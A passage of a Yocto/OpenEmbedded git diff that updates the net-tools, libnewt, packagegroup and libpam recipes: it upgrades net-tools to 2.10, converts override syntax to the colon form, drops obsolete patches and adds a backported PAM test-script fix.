-+ if (!strcmp(*spp, "-pointopoint") || !strcmp(*spp, "-pointtopoint")) {
- goterr |= clr_flag(ifr.ifr_name, IFF_POINTOPOINT);
- spp++;
- if (test_flag(ifr.ifr_name, IFF_POINTOPOINT) > 0)
- fprintf(stderr, _("Warning: Interface %s still in POINTOPOINT mode.\n"), ifr.ifr_name);
- continue;
- }
-- if (!strcmp(*spp, "pointopoint")) {
-+ if (!strcmp(*spp, "pointopoint") || !strcmp(*spp, "pointtopoint")) {
- if (*(spp + 1) != NULL) {
- spp++;
- safe_strncpy(host, *spp, (sizeof host));
diff --git a/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch b/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch
deleted file mode 100644
index 782b94bc61..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Description: Bug#541172: netstat.c exit codes
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/netstat.c
-+++ b/netstat.c
-@@ -2237,12 +2237,14 @@
- parsesnmp(flag_raw, flag_tcp, flag_udp, flag_sctp);
- #else
- ENOSUPP("netstat", "AF INET");
-+ exit(1);
- #endif
- } else if(!strcmp(afname, "inet6")) {
- #if HAVE_AFINET6
- parsesnmp6(flag_raw, flag_tcp, flag_udp);
- #else
- ENOSUPP("netstat", "AF INET6");
-+ exit(1);
- #endif
- } else {
- printf(_("netstat: No statistics support for specified address family: %s\n"), afname);
diff --git a/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb b/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb
deleted file mode 100644
index e97731073e..0000000000
--- a/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb
+++ /dev/null
@@ -1,110 +0,0 @@
-SUMMARY = "Basic networking tools"
-DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
-HOMEPAGE = "http://net-tools.berlios.de/"
-BUGTRACKER = "http://bugs.debian.org/net-tools"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
-
-PV = "1.60-20181103+git${SRCPV}"
-SRCREV = "0eebece8c964e3cfa8a018f42b2e7e751a7009a0"
-SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https \
- file://net-tools-config.h \
- file://net-tools-config.make \
- file://Add_missing_headers.patch \
- file://Bug_443075-ifconfig.c-pointtopoint_spelling.patch \
- file://Bug_541172-netstat.c-exit-codes.patch \
-"
-
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-S = "${WORKDIR}/git"
-
-inherit gettext
-
-# The Makefile is lame, no parallel build
-PARALLEL_MAKE = ""
-
-PACKAGECONFIG ??= "hostname arp serial plip"
-PACKAGECONFIG[hostname] = ""
-PACKAGECONFIG[arp] = ""
-PACKAGECONFIG[serial] = ""
-PACKAGECONFIG[plip] = ""
-
-do_configure() {
- # net-tools has its own config mechanism requiring "make config"
- # we pre-generate desired options and copy to source directory instead
- cp ${WORKDIR}/net-tools-config.h ${S}/config.h
- cp ${WORKDIR}/net-tools-config.make ${S}/config.make
-
- if [ "${USE_NLS}" = "no" ]; then
- sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
- fi
-
- if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
- echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
- echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
- echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
- echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
- fi
- if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
- echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
- echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
- fi
- if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
- echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
- echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
- fi
- if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
- echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
- echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
- fi
-}
-
-do_compile() {
- # net-tools use COPTS/LOPTS to allow adding custom options
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
-}
-
-do_install() {
- # We don't need COPTS or LOPTS, but let's be consistent.
- oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
-
- if [ "${base_bindir}" != "/bin" ]; then
- mkdir -p ${D}/${base_bindir}
- mv ${D}/bin/* ${D}/${base_bindir}/
- rmdir ${D}/bin
- fi
- if [ "${base_sbindir}" != "/sbin" ]; then
- mkdir ${D}/${base_sbindir}
- mv ${D}/sbin/* ${D}/${base_sbindir}/
- rmdir ${D}/sbin
- fi
-}
-
-inherit update-alternatives
-
-base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
- ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
-"
-base_bindir_progs = "ifconfig netstat route \
- ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
-"
-
-ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
-ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_PRIORITY[hostname.1] = "10"
-
-python __anonymous() {
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-}
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
new file mode 100644
index 0000000000..eb5881356c
--- /dev/null
+++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb
@@ -0,0 +1,121 @@
+SUMMARY = "Basic networking tools"
+DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
+HOMEPAGE = "http://net-tools.berlios.de/"
+BUGTRACKER = "http://bugs.debian.org/net-tools"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
+
+SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
+SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
+ file://net-tools-config.h \
+ file://net-tools-config.make \
+ file://Add_missing_headers.patch \
+"
+
+S = "${WORKDIR}/git"
+
+inherit gettext
+
+# The Makefile is lame, no parallel build
+PARALLEL_MAKE = ""
+
+PACKAGECONFIG ??= "hostname arp serial plip"
+PACKAGECONFIG[hostname] = ""
+PACKAGECONFIG[arp] = ""
+PACKAGECONFIG[serial] = ""
+PACKAGECONFIG[plip] = ""
+PACKAGECONFIG[slattach] = ""
+PACKAGECONFIG[plipconfig] = ""
+
+do_configure() {
+ # net-tools has its own config mechanism requiring "make config"
+ # we pre-generate desired options and copy to source directory instead
+ cp ${WORKDIR}/net-tools-config.h ${S}/config.h
+ cp ${WORKDIR}/net-tools-config.make ${S}/config.make
+
+ if [ "${USE_NLS}" = "no" ]; then
+ sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
+ fi
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
+ echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
+ echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
+ echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
+ echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
+ echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
+ echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
+ echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
+ echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
+ fi
+}
+
+do_compile() {
+ # net-tools use COPTS/LOPTS to allow adding custom options
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
+}
+
+do_install() {
+ # We don't need COPTS or LOPTS, but let's be consistent.
+ oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
+
+ if [ "${base_bindir}" != "/bin" ]; then
+ mkdir -p ${D}/${base_bindir}
+ mv ${D}/bin/* ${D}/${base_bindir}/
+ rmdir ${D}/bin
+ fi
+ if [ "${base_sbindir}" != "/sbin" ]; then
+ mkdir ${D}/${base_sbindir}
+ mv ${D}/sbin/* ${D}/${base_sbindir}/
+ rmdir ${D}/sbin
+ fi
+}
+
+inherit update-alternatives
+
+base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
+ ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
+"
+base_bindir_progs = "ifconfig netstat route \
+ ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
+"
+
+ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
+ALTERNATIVE_PRIORITY[hostname.1] = "10"
+
+python __anonymous() {
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+}
+ALTERNATIVE_PRIORITY = "100"
+
+NETTOOLS_PACKAGES = "${PN}-mii-tool"
+NETTOOLS_PACKAGES:class-native = ""
+
+PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
+RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
+
+FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
+
+ALTERNATIVE:${PN}:remove = "mii-tool"
+
+ALTERNATIVE:${PN}-mii-tool = "mii-tool"
+ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
+ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/newt/libnewt_0.52.21.bb b/meta/recipes-extended/newt/libnewt_0.52.21.bb
index 88b4cf4a03..86301b95eb 100644
--- a/meta/recipes-extended/newt/libnewt_0.52.21.bb
+++ b/meta/recipes-extended/newt/libnewt_0.52.21.bb
@@ -29,7 +29,7 @@ SRC_URI[sha256sum] = "265eb46b55d7eaeb887fca7a1d51fe115658882dfe148164b6c49fccac
S = "${WORKDIR}/newt-${PV}"
-inherit autotools-brokensep python3native python3-dir
+inherit autotools-brokensep python3native python3-dir python3targetconfig
EXTRA_OECONF = "--without-tcl --with-python"
@@ -39,20 +39,20 @@ CLEANBROKEN = "1"
export CPPFLAGS
-PACKAGES_prepend = "whiptail ${PN}-python "
+PACKAGES:prepend = "whiptail ${PN}-python "
-RDEPENDS_${PN}-python += "python3-core"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
+RDEPENDS:${PN}-python += "python3-core"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
-do_configure_prepend() {
+do_configure:prepend() {
sh autogen.sh
}
-do_compile_prepend() {
+do_compile:prepend() {
# Make sure the recompile is OK
rm -f ${B}/.depend
}
-FILES_whiptail = "${bindir}/whiptail"
+FILES:whiptail = "${bindir}/whiptail"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
index 1e63da7f16..b17cba4a78 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
@@ -13,7 +13,7 @@ VIRTUAL-RUNTIME_vim ?= "vim-tiny"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-passwd \
bash \
bind-utils \
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
index 16c2f9f2aa..b66617fbf6 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
@@ -10,7 +10,6 @@ inherit packagegroup
PACKAGES = "\
packagegroup-core-full-cmdline \
- packagegroup-core-full-cmdline-libs \
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -19,44 +18,7 @@ PACKAGES = "\
packagegroup-core-full-cmdline-sys-services \
"
-python __anonymous () {
- # For backwards compatibility after rename
- namemap = {}
- namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic"
- namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs"
- namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils"
- namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended"
- namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils"
- namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser"
- namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts"
- namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services"
-
- packages = d.getVar("PACKAGES").split()
- mlprefix = d.getVar("MLPREFIX")
- for pkg in packages:
- pkg2 = pkg[len(mlprefix):]
- if pkg.endswith('-dev'):
- mapped = namemap.get(pkg2[:-4], None)
- if mapped:
- mapped += '-dev'
- elif pkg.endswith('-dbg'):
- mapped = namemap.get(pkg2[:-4], None)
- if mapped:
- mapped += '-dbg'
- else:
- mapped = namemap.get(pkg2, None)
-
- if mapped:
- oldtaskname = mapped.replace("packagegroup-core", "task-core")
- mapstr = " %s%s %s%s" % (mlprefix, mapped, mlprefix, oldtaskname)
- d.appendVar("RPROVIDES_%s" % pkg, mapstr)
- d.appendVar("RREPLACES_%s" % pkg, mapstr)
- d.appendVar("RCONFLICTS_%s" % pkg, mapstr)
-}
-
-
-RDEPENDS_packagegroup-core-full-cmdline = "\
- packagegroup-core-full-cmdline-libs \
+RDEPENDS:packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -65,11 +27,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-sys-services \
"
-RDEPENDS_packagegroup-core-full-cmdline-libs = "\
- glib-2.0 \
- "
-
-RDEPENDS_packagegroup-core-full-cmdline-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-utils = "\
bash \
acl \
attr \
@@ -81,7 +39,6 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
file \
findutils \
gawk \
- gmp \
grep \
less \
makedevs \
@@ -99,7 +56,7 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
util-linux \
"
-RDEPENDS_packagegroup-core-full-cmdline-extended = "\
+RDEPENDS:packagegroup-core-full-cmdline-extended = "\
iproute2 \
iputils \
iptables \
@@ -107,7 +64,7 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\
openssl \
"
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
diffutils \
m4 \
make \
@@ -115,7 +72,7 @@ RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
"
VIRTUAL-RUNTIME_syslog ?= "sysklogd"
-RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
+RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_initscripts} \
${VIRTUAL-RUNTIME_init_manager} \
ethtool \
@@ -123,7 +80,7 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_syslog} \
"
-RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
+RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
bzip2 \
cracklib \
gzip \
@@ -131,7 +88,7 @@ RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
sudo \
"
-RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\
+RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
at \
cronie \
logrotate \
diff --git a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch b/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
deleted file mode 100644
index c55b648139..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 45d1ed58927593968faead7dbb295f3922f41a2f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 8 Aug 2015 14:16:43 -0700
-Subject: [PATCH] Add support for defining missing funcitonality
-
-In order to support alternative libc on linux ( musl, bioninc ) etc we
-need to check for glibc-only features and provide alternatives, in this
-list strndupa is first one, when configure detects that its not included
-in system C library then the altrnative implementation from missing.h is
-used
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure.ac | 3 +++
- libpam/include/missing.h | 12 ++++++++++++
- modules/pam_exec/pam_exec.c | 1 +
- 3 files changed, 16 insertions(+)
- create mode 100644 libpam/include/missing.h
-
-diff --git a/configure.ac b/configure.ac
-index 9e1257f..cbed979 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -599,6 +599,9 @@ dnl
- AC_CHECK_DECL(__NR_keyctl, [have_key_syscalls=1],[have_key_syscalls=0],[#include <sys/syscall.h>])
- AC_CHECK_DECL(ENOKEY, [have_key_errors=1],[have_key_errors=0],[#include <errno.h>])
-
-+# musl and bionic don't have strndupa
-+AC_CHECK_DECLS_ONCE([strndupa])
-+
- HAVE_KEY_MANAGEMENT=0
- if test $have_key_syscalls$have_key_errors = 11
- then
-diff --git a/libpam/include/missing.h b/libpam/include/missing.h
-new file mode 100644
-index 0000000..3cf011c
---- /dev/null
-+++ b/libpam/include/missing.h
-@@ -0,0 +1,12 @@
-+#pragma once
-+
-+#if !HAVE_DECL_STRNDUPA
-+#define strndupa(s, n) \
-+ ({ \
-+ const char *__old = (s); \
-+ size_t __len = strnlen(__old, (n)); \
-+ char *__new = alloca(__len + 1); \
-+ __new[__len] = '\0'; \
-+ memcpy(__new, __old, __len); \
-+ })
-+#endif
-diff --git a/modules/pam_exec/pam_exec.c b/modules/pam_exec/pam_exec.c
-index 17ba6ca..3aa2694 100644
---- a/modules/pam_exec/pam_exec.c
-+++ b/modules/pam_exec/pam_exec.c
-@@ -59,6 +59,7 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
- #include <security/_pam_macros.h>
-+#include <missing.h>
-
- #define ENV_ITEM(n) { (n), #n }
- static struct {
---
-2.1.4
-
diff --git a/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch b/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch
new file mode 100644
index 0000000000..40040a873a
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch
@@ -0,0 +1,65 @@
+From e8e8ccfd57e0274b431bc5717bf37c488285b07b Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 27 Oct 2021 10:30:46 +0800
+Subject: [PATCH] run-xtests.sh: check whether files exist
+
+Fixes:
+ # ./run-xtests.sh . tst-pam_access1
+ mv: cannot stat '/etc/security/opasswd': No such file or directory
+ PASS: tst-pam_access1
+ mv: cannot stat '/etc/security/opasswd-pam-xtests': No such file or directory
+ ==================
+ 1 tests passed
+ 0 tests not run
+ ==================
+
+Upstream-Status: Backport [https://github.com/linux-pam/linux-pam/commit/e8e8ccfd57e0274b431bc5717bf37c488285b07b]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ xtests/run-xtests.sh | 20 +++++++++++++-------
+ 1 file changed, 13 insertions(+), 7 deletions(-)
+
+diff --git a/xtests/run-xtests.sh b/xtests/run-xtests.sh
+index 14f585d9..ff9a4dc1 100755
+--- a/xtests/run-xtests.sh
++++ b/xtests/run-xtests.sh
+@@ -18,10 +18,12 @@ all=0
+
+ mkdir -p /etc/security
+ for config in access.conf group.conf time.conf limits.conf ; do
+- cp /etc/security/$config /etc/security/$config-pam-xtests
++ [ -f "/etc/security/$config" ] &&
++ mv /etc/security/$config /etc/security/$config-pam-xtests
+ install -m 644 "${SRCDIR}"/$config /etc/security/$config
+ done
+-mv /etc/security/opasswd /etc/security/opasswd-pam-xtests
++[ -f /etc/security/opasswd ] &&
++ mv /etc/security/opasswd /etc/security/opasswd-pam-xtests
+
+ for testname in $XTESTS ; do
+ for cfg in "${SRCDIR}"/$testname*.pamd ; do
+@@ -47,11 +49,15 @@ for testname in $XTESTS ; do
+ all=`expr $all + 1`
+ rm -f /etc/pam.d/$testname*
+ done
+-mv /etc/security/access.conf-pam-xtests /etc/security/access.conf
+-mv /etc/security/group.conf-pam-xtests /etc/security/group.conf
+-mv /etc/security/time.conf-pam-xtests /etc/security/time.conf
+-mv /etc/security/limits.conf-pam-xtests /etc/security/limits.conf
+-mv /etc/security/opasswd-pam-xtests /etc/security/opasswd
++
++for config in access.conf group.conf time.conf limits.conf opasswd ; do
++ if [ -f "/etc/security/$config-pam-xtests" ]; then
++ mv /etc/security/$config-pam-xtests /etc/security/$config
++ else
++ rm -f /etc/security/$config
++ fi
++done
++
+ if test "$failed" -ne 0; then
+ echo "==================="
+ echo "$failed of $all tests failed"
+--
+2.32.0
+
diff --git a/meta/recipes-extended/pam/libpam/crypt_configure.patch b/meta/recipes-extended/pam/libpam/crypt_configure.patch
deleted file mode 100644
index 917a8af64d..0000000000
--- a/meta/recipes-extended/pam/libpam/crypt_configure.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b86575ab4a0df07da160283459da270e1c0372a0 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Tue, 24 May 2016 14:11:09 +0300
-Subject: [PATCH] crypt_configure
-
-This patch fixes a case where it find crypt defined in libc (musl) but
-not in specified libraries then it ends up assigning
-LIBCRYPT="-l" which then goes into makefile cause all sort of problems
-e.g.
-
-ld: cannot find -l-m32
-| collect2: error: ld returned 1 exit status
-The reason is that -l appears on commandline with
-out any library and compiler treats the next argument as library name
-whatever it is.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index df39d07..e68d856 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -401,7 +401,7 @@ AS_IF([test "x$ac_cv_header_xcrypt_h" = "xyes"],
- [crypt_libs="crypt"])
-
- BACKUP_LIBS=$LIBS
--AC_SEARCH_LIBS([crypt],[$crypt_libs], LIBCRYPT="${ac_lib:+-l$ac_lib}", LIBCRYPT="")
-+AC_SEARCH_LIBS([crypt],[$crypt_libs], [test "$ac_cv_search_crypt" = "none required" || LIBCRYPT="$ac_cv_search_crypt"])
- AC_CHECK_FUNCS(crypt_r crypt_gensalt_r)
- LIBS=$BACKUP_LIBS
- AC_SUBST(LIBCRYPT)
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/include_paths_header.patch b/meta/recipes-extended/pam/libpam/include_paths_header.patch
deleted file mode 100644
index e4eb95669b..0000000000
--- a/meta/recipes-extended/pam/libpam/include_paths_header.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-This patch adds missing include for paths.h which should provide
-_PATH_LASTLOG definition
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/pam_lastlog/pam_lastlog.c
-+++ Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-@@ -23,9 +23,11 @@
- #include <stdarg.h>
- #include <stdio.h>
- #include <string.h>
-+#include <sys/file.h>
- #include <sys/types.h>
- #include <syslog.h>
- #include <unistd.h>
-+#include <paths.h>
-
- #if defined(hpux) || defined(sunos) || defined(solaris)
- # ifndef _PATH_LASTLOG
-@@ -332,6 +334,23 @@ last_login_read(pam_handle_t *pamh, int
- return retval;
- }
-
-+#ifndef __GLIBC__
-+static void logwtmp(const char * line, const char * name, const char * host)
-+{
-+ struct utmp u;
-+ memset(&u, 0, sizeof(u));
-+
-+ u.ut_pid = getpid();
-+ u.ut_type = name[0] ? USER_PROCESS : DEAD_PROCESS;
-+ strncpy(u.ut_line, line, sizeof(u.ut_line));
-+ strncpy(u.ut_name, name, sizeof(u.ut_name));
-+ strncpy(u.ut_host, host, sizeof(u.ut_host));
-+ gettimeofday(&(u.ut_tv), NULL);
-+
-+ updwtmp(_PATH_WTMP, &u);
-+}
-+#endif /* __GLIBC__ */
-+
- static int
- last_login_write(pam_handle_t *pamh, int announce, int last_fd,
- uid_t uid, const char *user)
-Index: Linux-PAM-1.1.6/modules/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/Makefile.am
-+++ Linux-PAM-1.1.6/modules/Makefile.am
-@@ -7,7 +7,7 @@ SUBDIRS = pam_access pam_cracklib pam_de
- pam_group pam_issue pam_keyinit pam_lastlog pam_limits \
- pam_listfile pam_localuser pam_loginuid pam_mail \
- pam_mkhomedir pam_motd pam_namespace pam_nologin \
-- pam_permit pam_pwhistory pam_rhosts pam_rootok pam_securetty \
-+ pam_permit pam_pwhistory pam_rootok pam_securetty \
- pam_selinux pam_sepermit pam_shells pam_stress \
- pam_succeed_if pam_tally pam_tally2 pam_time pam_timestamp \
- pam_tty_audit pam_umask \
diff --git a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch b/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
deleted file mode 100644
index 9b8d4c2975..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
+++ /dev/null
@@ -1,203 +0,0 @@
-Description: extract the securetty logic for use with the "nullok_secure" option
- introduced in the "055_pam_unix_nullok_secure" patch.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-===================================================================
-Index: Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/Makefile.am
-+++ Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-@@ -24,6 +24,10 @@ endif
- securelib_LTLIBRARIES = pam_securetty.la
- pam_securetty_la_LIBADD = $(top_builddir)/libpam/libpam.la
-
-+pam_securetty_la_SOURCES = \
-+ pam_securetty.c \
-+ tty_secure.c
-+
- if ENABLE_REGENERATE_MAN
- noinst_DATA = README
- README: pam_securetty.8.xml
